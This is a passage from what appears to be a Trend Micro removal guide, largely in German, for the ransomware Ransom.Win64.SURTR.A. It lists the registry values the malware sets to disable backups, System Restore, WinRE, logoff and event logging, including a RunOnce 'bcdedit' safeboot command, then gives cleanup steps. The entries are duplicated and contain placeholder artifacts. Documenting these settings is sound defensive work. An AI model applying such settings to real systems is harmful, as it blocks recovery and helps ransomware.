- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
- DisableChangePassword = 1
- DisableChangePassword = 1
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
- DisableLockWorkstation = 1
- DisableLockWorkstation = 1
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
- NoLogoff = 1
- NoLogoff = 1
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum
- {645FF040-5081-101B-9F08-00AA002F954E} = 1
- {645FF040-5081-101B-9F08-00AA002F954E} = 1
- In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE
- DisableSetup = 1
- DisableSetup = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore
- DisableConfig = 1
- DisableConfig = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore
- DisableSR = 1
- DisableSR = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
- DisableBackupToDisk = 1
- DisableBackupToDisk = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
- DisableBackupToNetwork = 1
- DisableBackupToNetwork = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
- DisableBackupToOptical = 1
- DisableBackupToOptical = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
- DisableBackupLauncher = 1
- DisableBackupLauncher = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
- DisableRestoreUI = 1
- DisableRestoreUI = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
- DisableBackupUI = 1
- DisableBackupUI = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client
- DisableSystemBackupUI = 1
- DisableSystemBackupUI = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
- OnlySystemBackup = 1
- OnlySystemBackup = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
- NoBackupToDisk = 1
- NoBackupToDisk = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
- NoBackupToNetwork = 1
- NoBackupToNetwork = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
- NoBackupToOptical = 1
- NoBackupToOptical = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server
- NoRunNowBackup = 1
- NoRunNowBackup = 1
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de}
- Enable = 0
- Enable = 0
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
- *test = bcdedit /deletevalue {current} safeboot
- *test = bcdedit /deletevalue {current} safeboot
- In HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
- *execute =
- *execute =
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surt\UserChoice
- ProgId = surt_auto_file
- ProgId = surt_auto_file
- In HKEY_CLASSES_ROOT\.surt
- = surt_auto_file
- = surt_auto_file
- In HKEY_CLASSES_ROOT\surt_auto_file\DefaultIcon
- = C:\ProgramData\Service\SurtrIcon.ico\
- = C:\ProgramData\Service\SurtrIcon.ico\
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
- DisableTaskMgr = 0
- DisableTaskMgr = 0
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
- NoRun = 0
- NoRun = 0
DATA_GENERIC_ENTRY
Step 7
Diese Datei suchen und löschen
Step 8
Diese Ordner suchen und löschen
- C:\ProgramData\Service
- %temp%\Service\
Step 9
Führen Sie den Neustart im normalen Modus durch, und durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt nach Dateien, die als Ransom.Win64.SURTR.A entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.
Step 10
Restore encrypted files from backup.
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